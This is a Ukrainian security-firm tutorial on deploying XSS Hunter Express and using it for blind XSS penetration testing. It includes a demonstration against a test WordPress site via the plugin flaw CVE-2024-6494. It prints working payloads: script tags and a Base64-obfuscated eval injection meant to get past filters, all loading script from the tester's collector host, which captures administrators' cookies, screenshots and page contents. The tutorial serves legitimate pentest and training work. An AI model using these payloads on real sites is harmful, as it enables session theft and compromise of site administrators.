Безпека веб-серверів, Cloud-платформ.
Надійний захист від атак відмова в обслуговуванні
Комплексний захист електронних ресурсів.
Пошук та видалення вірусів на веб-сайтах.
Захист та рішення безпеки для сайтів на WordPress.
Пентест сайтів і веб-додатків.
Безпека веб-серверів, Cloud-платформ.
Надійний захист від атак відмова в обслуговуванні
Комплексний захист електронних ресурсів.
Пошук та видалення вірусів на веб-сайтах.
Захист та рішення безпеки для сайтів на WordPress.
Пентест сайтів і веб-додатків.
Безпека веб-серверів, Cloud-платформ.
Надійний захист від атак відмова в обслуговуванні
Комплексний захист електронних ресурсів.
Пошук та видалення вірусів на веб-сайтах.
Захист та рішення безпеки для сайтів на WordPress.
Пентест сайтів і веб-додатків.
Безпека веб-серверів, Cloud-платформ.
Надійний захист від атак відмова в обслуговуванні
Комплексний захист електронних ресурсів.
Пошук та видалення вірусів на веб-сайтах.
Захист та рішення безпеки для сайтів на WordPress.
Пентест сайтів і веб-додатків.
У цьому матеріалі ми розглянемо основи роботи з таким інструментом етичного хакінгу як XSS Hunter. Я розкажу, як з його допомогою виявляти та експлуатувати вразливості типу Blind XSS, які часто залишаються непоміченими. Ви дізнаєтеся, як створювати кастомні пейлоади, інтегрувати XSS Hunter у процес тестування безпеки та аналізувати отримані дані для виявлення потенційних загроз. Крім того, будуть практичні приклади використання XSS Hunter в тестуваннях на проникнення.
XSS Hunter – це багатофункціональний інструмент етичного хакінгу, який застосовується в тестуваннях на проникнення для виявлення та експлуатації XSS-вразливостей у різноманітних веб-додатках. Розроблений американським дослідником безпеки Мет’ю Браянтом, відомим під ніком @IAmMandatory.
Довгий час XSS Hunter працював як публічний онлайн-сервіс на домені xsshunter.com. Кожен міг зареєструватись і створити на піддомені xss.ht свій екземпляр. Однак через деякий час в ньому знайшли серйозні вразливості й 1 лютого 2023 року автор заявив про припинення обслуговування. Невдовзі він створив нову безкоштовну версію під назвою XSS Hunter Express, яку може розгорнути кожен на власному сервері. Існує також форк XSS Hunter – безкоштовна онлайн-платформа BXSS, яка працює ідентично колишньому сервісу xsshunter.com.
Функціональні можливості XSS Hunter:
Для розгортання XSS Hunter Express підійде VPS-сервер на базі Linux. Для цього можна обрати будь-яку хмарну платформу. Я скористався Amazon Lightsale.
В якості операційної системи обрав Ubuntu 22.04. Технічні характеристики сервера рекомендую використовувати наступні:
В процесі створення VPS, в цілях безпеки обов’язково згенеруйте на локальній системі SSH ключ доступу (команда ssh-keygen
) й додайте public key на сервер. Секретний ключ private key зберігайте в недоступному місці і не повідомляйте нікому – з його допомогою ви зможете авторизуватися на сервері через командний рядок чи SSH-клієнт.
Після того як ви залогувалися, необхідно оновити пакети операційної системи: sudo apt-get update
Тепер клонуємо Git-репозиторій XSS Hunter на сервер: git clone --depth 1 https://github.com/mandatoryprogrammer/xsshunter-express && cd xsshunter-express
Встановлюємо компоненти Docker, необхідні для розгортання XSS Hunter:
apt install docker.io apt install docker-compose
Знаходимо в папці xsshunter-express файл конфігурації docker-compose.yml
і редагуємо його в редакторі nano:
HOSTNANE
вказуємо свій домен, на якому буде працювати XSS Hunter, наприклад xss.example.com.SSL_CONTACT_EMAIL
вказуємо свою електронну пошту, яка буде відправлена на сервер Lets Encrypt при генерації SSL для домену XSSHunter (це буде автоматично), наприклад info@example.com.SMTP
треба вказати дані вашого поштовного сервера, через який XSS Hunter відправлятиме сповіщення. Можна розгорнути власний або скористатися послугами сервісу Mailgun, який надає безкоштовно SMTP, але з певними лімітами. Останнього для початку буде достатньо. Реєструємося на Mailgun.com, отримуємо дані підключення і вписуємо їх у відповідні поля в файлі конфігурації.DATABASE
залишаємо без змін.Зберігаємо зміни CTRL +O.
Бачимо, що ця конфігурація XSS Hunter в якості бази даних використовує PostreSQL. Щодо веб-сервера, то тут використовується Node.js. Це означає, що основна частина сервера, яка обробляє HTTP-запити, генерує та відправляє відповіді, написана на JavaScript.
Тепер необхідно направити домен, який ви будете використовувати для доступу до панелі керування XSS Hunter, на VPS сервер. Переходимо в DNS-зону домена і скеровуємо A-запис на IP-адресу сервера. Ось як це виглядає в Cloudflare:
Запускаємо розгортання XSS Hunter Express через Docker-контейнер: docker-compose up
Процес може зайняти до 15 хвилин. Перебіг подій виводитиметься на екрані. Уважно спостерігайте за тим, аби не виникало помилок. Якщо вони будуть – необхідно вирішити їх й повторно запустити розгортання контейнера.
Про успішність виконання свідчитиме напис “ATTENTION” з даними авторизації:
Все! XSSHunter успішно встановлено. Якщо відкрити у браузері домен xss.example.com, то ви побачите повідомлення, яке пояснює призначення додатка XSS Hunter й засвідчує легітимність його використання в цілях Bug Bounty:
Для входу в панель керування XSS Hunter перейдіть за URL-адресою: https://example.com/admin
.
Вводимо пароль і нарешті потрапляємо в адмінку:
Тепер давайте швиденько перевіримо чи XSS Hunter правильно налаштований на сервері і все працює так як треба.
Для цього перейдемо на вкладку XSS Payloads, скопіюємо перший пейлоад "><script src="https://xss.example.com"></script>
і вставимо його в звичайний пустий html-файл, а тоді відкриємо у Firefox браузері:
Має виконатись сценарій XSS і спрацювати триггер XSS Hunter виявлення та оповіщення XSS-вразливості.
В адмін-панелі XSS Hunter на вкладці XSS Payload Fires з’явиться скріншот веб-сторінки з виявленою вразливістю та деталями виконання:
XSS Hunter також надішле на електронну пошту звіт про виявлення вразливості:
Отже, все налаштовано правильно і працює чудово!
Додатково, для тих хто користується платформою Slack для корпоративної комунікації в команді або інших потреб, можна налаштувати відправку сповіщення XSS Hunter туди. Деталі опубліковані тут.
XSS Hunter застосовується в основному для виявлення та проведення сліпих XSS-ін’єкцій – так звані Blind XSS. Ним гарно “закидати вудочку”. Тобто, ви знаходите на веб-сайті форми і поля, які можна заповнювати текстову інформацію й надсилати дані на сервер. Це можуть бути форми коментарів, реєстрації, відгуки, контактні та будь-які інші. Ви просто вставляєте корисне навантаження (payload), яке вам генерує XSS Hunter, у ці поля й відправляєте. Пейлоад може бути різного виду, залежно від контексту (наприклад, <script>-теги, ін’єкції JavaScript, input, img, onmouse і так далі). Повний їх список можна знайти на вкладці “XSS Payloads”:
Після того як пейлоад відправлено – очікуємо, коли “рибка клюне”. А саме, коли адміністратор сайту чи хтось з персоналу відкриє листа з XSS-навантаженням і скрипт спрацює. Однак, просто так ми про це не дізнаємося і не побачимо, тому ці атаки називають “сліпими”. Тут на допомогу приходить XSS Hunter. При спрацюванні Blind XSS на його сервер поступають дані про виявлення вразливості, включаючи такі технічні деталі як: скріншот екрану, cookies, user-agent, HTML-структура веб-сторінки тощо. Таким чином атакуючий зрозуміє, що “рибка клюнула”. До того ж, як зазначалося вище, ви отримаєте сповіщення на електронну пошту. У цьому вся краса і сила XSS Hunter, адже він автоматизує усю рутину з виявлення XSS! В тестуваннях на проникнення це незамінна річ.
Давайте тепер пограємося і спробуємо застосувати XSS Hunter на практиці. В якості “полігону” використаємо вразливий сайт на WordPress. Для експлуатації застосуємо CVE-2024-6494 – вразливість плагіна “WordPress File Upload” версії 4.24.7, яка пропускає XSS-навантаження типу Message" style=animation-name:rotation onanimationstart=alert(/XSS/)//
через додаткове текстове поле.
Отже, завантажимо і активуємо цей плагін на нашій WordPress й з допомогою шорткоду вставимо його в одну із готових публікацій. Після цього неавтентифікований користувач перейде на сторінку, скористається формою й завантажить будь-який файл, а у додатковому текстовому полі вкаже XSS Payload з посиланням на сервер XSS Hunter. Щоправда у даному випадку ми закодували пейлоад XSS Hunter в Base64 з метою обходу існуючої систем безпеки сайту (в іншому випадку сервер може не пропустити):
Message" style="animation-name:rotation" onanimationstart=eval(atob('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=='))//
Замість xxxx ми вставили закодований JavaScript-код, який розшифровується і виконується. У розшифрованому вигляді він виглядає так:
var a=document.createElement("script"); a.src="https://xss.example.com"; document.body.appendChild(a);
Після того як файл з шкідливим навантаженням відправлено, адміністратор сайту заходить в адмін-панель WordPress і в розділі “Uploaded Files” бачить новий завантажений файл. Він натискає на “Viewed details” і потрапляє безпосередньо до перегляду, але сам скрипт виконується та відправляє дані на сервер XSS Hunter. У конкретно нашому випадку адміністратор нічого не помічає – жодних спливаючих вікон чи алертів, а відтак ні про що й не здогадується!
Тим часом хакер відкриває XSS Hunter і бачить репорт про виконаний XSS зі скріншотом з сайту жертви:
Якщо натиснути на “Expand Report”, то розкриється детальніший звіт атаки:
Таким чином, XSS Hunter може бути дуже корисним у виявленні вразливих місць, пов’язаних з міжсайтовим скриптингом. Його також можна застосовувати у таких тестуваннях на проникнення як Red Team із застосування фішингу та інших технік Offensive Security. Він також є корисним і просто для тих, хто хоче опанувати ремесло етичного хакінгу, зрозуміти принцип дії XSS, виявляти та експлатувати їх на практиці. Його можна використовувати для навчання команд розробників або безпеки, демонструючи реальні приклади XSS-атак та їх наслідки.
ПОДІЛИТИСЬ У СОЦМЕРЕЖАХ:
Вкажіть, будь ласка, контактний номер телефону. Наш менеджер миттєво зв’яжеться з Вами!